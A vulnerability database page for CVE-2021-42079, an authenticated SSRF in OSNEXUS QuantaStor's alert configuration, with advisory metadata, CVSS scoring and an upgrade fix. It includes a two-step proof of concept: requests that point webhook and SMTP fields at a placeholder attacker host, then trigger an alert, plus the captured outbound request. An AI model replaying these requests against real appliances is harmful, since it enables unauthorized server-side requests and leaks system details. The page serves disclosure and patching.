Action not permitted
Modal body text goes here.
Modal Title
Modal Body
ghsa-4v64-w7v7-ch7f
Vulnerability from github
Published
2023-07-10 18:30
Modified
2024-10-16 12:30
Severity ?
VLAI Severity ?
Details
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
{
"affected": [],
"aliases": [
"CVE-2021-42079"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-10T16:15:47Z",
"severity": "MODERATE"
},
"details": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.",
"id": "GHSA-4v64-w7v7-ch7f",
"modified": "2024-10-16T12:30:47Z",
"published": "2023-07-10T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42079"
},
{
"type": "WEB",
"url": "https://cisrt.divd.nl/DIVD-2021-00020"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/CVE-2021-42079"
},
{
"type": "WEB",
"url": "https://www.divd.nl/DIVD-2021-00020"
},
{
"type": "WEB",
"url": "https://www.osnexus.com/products/software-defined-storage"
},
{
"type": "WEB",
"url": "https://www.wbsec.nl/osnexus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
CVE-2021-42079 (GCVE-0-2021-42079)
Vulnerability from cvelistv5
Published
2023-07-10 06:29
Modified
2025-09-22 06:40
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Summary
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this:
{
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
'data': b'{
"attachments": [
{
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [
{
"title": "Alert Severity",
"value": "CRITICAL",
"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://<HOSTNAME>)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
},
],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774
}
],
"mrkdwn":true
}',
#### FLASK REQUEST STUFF #####
'headers': {
'Host': '<redacted>',
'User-Agent': 'curl/7.58.0',
'Accept': '*/*',
'Content-Type': 'application/json',
'Content-Length': '790'
},
'args': ImmutableMultiDict([]),
'form': ImmutableMultiDict([]),
'remote_addr': '217.103.63.173',
'path': '/payload/58',
'whois_ip': 'TNF-AS, NL'
}
#### END FLASK REQUEST STUFF #####
References
| ▼ | URL | Tags |
|---|---|---|
| https://www.wbsec.nl/osnexus | third-party-advisory, technical-description | |
| https://cisrt.divd.nl/DIVD-2021-00020/ | third-party-advisory, exploit, technical-description | |
| https://www.osnexus.com/products/software-defined-storage | product | |
| https://csirt.divd.nl/CVE-2021-42079 | third-party-advisory |
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| OSNEXUS | QuantaStor |
Version: 0 ≤ |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T03:22:25.855Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"third-party-advisory",
"x_transferred"
],
"url": "https://www.wbsec.nl/osnexus"
},
{
"tags": [
"third-party-advisory",
"x_transferred"
],
"url": "https://www.divd.nl/DIVD-2021-00020"
},
{
"tags": [
"product",
"x_transferred"
],
"url": "https://www.osnexus.com/products/software-defined-storage"
},
{
"tags": [
"third-party-advisory",
"x_transferred"
],
"url": "https://csirt.divd.nl/CVE-2021-42079"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2021-42079",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-11-04T20:06:08.530050Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-11-04T20:06:17.817Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://www.osnexus.com/downloads",
"defaultStatus": "unknown",
"platforms": [
"Windows",
"Linux"
],
"product": "QuantaStor",
"vendor": "OSNEXUS",
"versions": [
{
"lessThan": "6.0.0.355",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Wietse Boonstra (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Frank Breedijk (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Victor Pasman (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Victor Gevers (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Max van der Horst (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "C\u00e9listine Oosting (DIVD)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\u003cbr\u003e\u003cbr\u003ePOC\u003cbr\u003e\u003cbr\u003eStep 1: Prepare the SSRF with a request like this:\u003cbr\u003e\u003cbr\u003e\u003ctt\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003eGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026amp;smtpServerIpAddress=BURPCOLLABHOST\u0026amp;smtpServerPort=25\u0026amp;smtpUsername=a\u0026amp;smtpPassword=1\u0026amp;smtpAuthType=1\u0026amp;customerSupportEmailAddress=1\u0026amp;poolFreeSpaceWarningThreshold=1\u0026amp;poolFreeSpaceAlertThreshold=1\u0026amp;poolFreeSpaceCriticalAlertThreshold=1\u0026amp;pagerDutyServiceKey=1\u0026amp;slackWebhookUrl=\u003c/span\u003ehttp://\u0026lt;target\u0026gt;\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e\u0026amp;enableAlertTypes\u0026amp;enableAlertTypes=1\u0026amp;disableAlertTypes=1\u0026amp;pauseAlertTypes=1\u0026amp;mattermostWebhookUrl=\u003c/span\u003ehttp://\u0026lt;TARGET\u0026gt;\u003cbr\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003eHTTP/1.1\n\u003cbr\u003eHost: \u0026lt;HOSTNAME\u0026gt; \u003cbr\u003eAccept-Encoding: gzip, deflate\n\u003cbr\u003eAccept: */*\nAccept-Language: en\n\u003cbr\u003eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\u003cbr\u003e\nConnection: close\n\u003cbr\u003eauthorization: Basic \u0026lt;BASIC_AUTH_HASH\u0026gt; \u003cbr\u003eContent-Type: application/json\n\u003cbr\u003eContent-Length: 0\u003c/span\u003e\u003c/tt\u003e\u003cbr\u003e\u003ctt\u003e\u003cbr\u003eStep 2: Trigger this alert with this request\u003cbr\u003e\u003cbr\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003eGET /qstorapi/alertRaise?title=test\u0026amp;message=test\u0026amp;severity=1 \u003cbr\u003eHTTP/1.1\n\u003cbr\u003eHost: \u0026lt;HOSTNAME\u0026gt; \u003cbr\u003eAccept-Encoding: gzip, deflate\n\u003cbr\u003eAccept: */*\n\u003cbr\u003eAccept-Language: en\n\u003cbr\u003eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\u003cbr\u003eConnection: close\n\u003cbr\u003eauthorization: Basic \u0026lt;BASIC_AUTH_HASH\u0026gt; \u003cbr\u003eContent-Type: application/json\n\u003cbr\u003eContent-Length: 1\u003cbr\u003e\u003cbr\u003e\u003c/span\u003e\u003c/tt\u003eThe post request received by \u0026lt;TARGET\u0026gt; looks like this:\u003cbr\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e{\u003cbr\u003e\u2003\n### Python FLASK stuff ####\n\u003cbr\u003e\u2003\u0027endpoint\u0027: \u0027index\u0027, \u003cbr\u003e\u2003\n\u0027method\u0027: \u0027POST\u0027, \u003cbr\u003e\u2003\n\u0027cookies\u0027: ImmutableMultiDict([]), \u003cbr\u003e\u2003\n### END Python FLASK stuff ####\n\u003cbr\u003e\u2003\n\u0027data\u0027: b\u0027{ \u003cbr\u003e\u2003\u2003\"attachments\": [ \u003cbr\u003e\u2003\u2003\u2003{\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"fallback\": \"[122] test / test.\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"color\": \"#aa2222\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"title\": \"[122] test\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"text\": \"test\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"fields\": [ \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Alert Severity\",\n \u0026nbsp; \u0026nbsp;\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"CRITICAL\",\n \u0026nbsp; \u0026nbsp;\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u0026nbsp;\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003}, \u0026nbsp;{ \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Appliance\", \u0026nbsp; \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"quantastor (\u003c/span\u003ehttps://\u0026lt;HOSTNAME\u0026gt;\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e)\",\n \u0026nbsp; \u0026nbsp; \u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003}, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System / Driver / Kernel Ver\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003}, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System Startup\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"Fri Aug \u0026nbsp;6 16-02-55 2021\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003 }, \u0026nbsp;{ \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"SSID\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \u0026nbsp; \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u0026nbsp;\n\u003cbr\u003e\u2003\u2003\u2003\u2003\u2003},\u003cbr\u003e\u2003\u2003\u2003\u2003],\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"footer\": \"QuantaStor Call-home Alert\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"footer_icon\": \"\u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://platform.slack-edge.com/img/default_application_icon.png\"\u003ehttps://platform.slack-edge.com/img/default_application_icon.png\u003c/a\u003e\u003cspan style=\"background-color: rgba(29, 28, 29, 0.04);\"\u003e\",\n\u003cbr\u003e\u2003\u2003\u2003\u2003\"ts\": 1628461774\u003cbr\u003e\u2003\u2003\u2003}\u003cbr\u003e\u2003\u2003], \u003cbr\u003e\u2003\u2003\"mrkdwn\":true \u003cbr\u003e\u2003}\u0027, \u003cbr\u003e\u2003#### FLASK REQUEST STUFF #####\n\u003cbr\u003e\u2003\u0027headers\u0027: {\n\u003cbr\u003e\u2003\u2003\u0027Host\u0027: \u0027\u0026lt;redacted\u0026gt;\u0027, \u003cbr\u003e\u2003\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \u003cbr\u003e\u2003\u2003\u0027Accept\u0027: \u0027*/*\u0027, \u003cbr\u003e\u2003\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \u003cbr\u003e\u2003\u2003\u0027Content-Length\u0027: \u0027790\u0027\n\u003cbr\u003e\u2003}, \u003cbr\u003e\u2003\u0027args\u0027: ImmutableMultiDict([]), \u003cbr\u003e\u2003\u0027form\u0027: ImmutableMultiDict([]), \u003cbr\u003e\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \u003cbr\u003e\u2003\u0027path\u0027: \u0027/payload/58\u0027, \u003cbr\u003e\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\u003cbr\u003e}\n\u003cbr\u003e#### END FLASK REQUEST STUFF #####\u003c/span\u003e\u003ctt\u003e\u003c/tt\u003e"
}
],
"value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n\u2003\n### Python FLASK stuff ####\n\n\u2003\u0027endpoint\u0027: \u0027index\u0027, \n\u2003\n\u0027method\u0027: \u0027POST\u0027, \n\u2003\n\u0027cookies\u0027: ImmutableMultiDict([]), \n\u2003\n### END Python FLASK stuff ####\n\n\u2003\n\u0027data\u0027: b\u0027{ \n\u2003\u2003\"attachments\": [ \n\u2003\u2003\u2003{\n\n\u2003\u2003\u2003\u2003\"fallback\": \"[122] test / test.\",\n\n\u2003\u2003\u2003\u2003\"color\": \"#aa2222\",\n\n\u2003\u2003\u2003\u2003\"title\": \"[122] test\",\n\n\u2003\u2003\u2003\u2003\"text\": \"test\",\n\n\u2003\u2003\u2003\u2003\"fields\": [ \u00a0 \n\u2003\u2003\u2003\u2003\u2003{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Alert Severity\",\n \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"CRITICAL\",\n \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Appliance\", \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System / Driver / Kernel Ver\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System Startup\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"Fri Aug \u00a06 16-02-55 2021\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003 }, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"SSID\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003},\n\u2003\u2003\u2003\u2003],\n\n\u2003\u2003\u2003\u2003\"footer\": \"QuantaStor Call-home Alert\",\n\n\u2003\u2003\u2003\u2003\"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n\u2003\u2003\u2003\u2003\"ts\": 1628461774\n\u2003\u2003\u2003}\n\u2003\u2003], \n\u2003\u2003\"mrkdwn\":true \n\u2003}\u0027, \n\u2003#### FLASK REQUEST STUFF #####\n\n\u2003\u0027headers\u0027: {\n\n\u2003\u2003\u0027Host\u0027: \u0027\u003credacted\u003e\u0027, \n\u2003\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \n\u2003\u2003\u0027Accept\u0027: \u0027*/*\u0027, \n\u2003\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \n\u2003\u2003\u0027Content-Length\u0027: \u0027790\u0027\n\n\u2003}, \n\u2003\u0027args\u0027: ImmutableMultiDict([]), \n\u2003\u0027form\u0027: ImmutableMultiDict([]), \n\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \n\u2003\u0027path\u0027: \u0027/payload/58\u0027, \n\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\n}\n\n#### END FLASK REQUEST STUFF #####"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-09-22T06:40:03.059Z",
"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
"shortName": "DIVD"
},
"references": [
{
"tags": [
"third-party-advisory",
"technical-description"
],
"url": "https://www.wbsec.nl/osnexus"
},
{
"tags": [
"third-party-advisory",
"exploit",
"technical-description"
],
"url": "https://cisrt.divd.nl/DIVD-2021-00020/"
},
{
"tags": [
"product"
],
"url": "https://www.osnexus.com/products/software-defined-storage"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://csirt.divd.nl/CVE-2021-42079"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Upgrade to the latest version of OSNEXUS QuantaStor."
}
],
"value": "Upgrade to the latest version of OSNEXUS QuantaStor."
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355",
"x_generator": {
"engine": "Vulnogram 0.1.0-dev"
}
}
},
"cveMetadata": {
"assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
"assignerShortName": "DIVD",
"cveId": "CVE-2021-42079",
"datePublished": "2023-07-10T06:29:48.339Z",
"dateReserved": "2021-10-07T17:12:57.677Z",
"dateUpdated": "2025-09-22T06:40:03.059Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…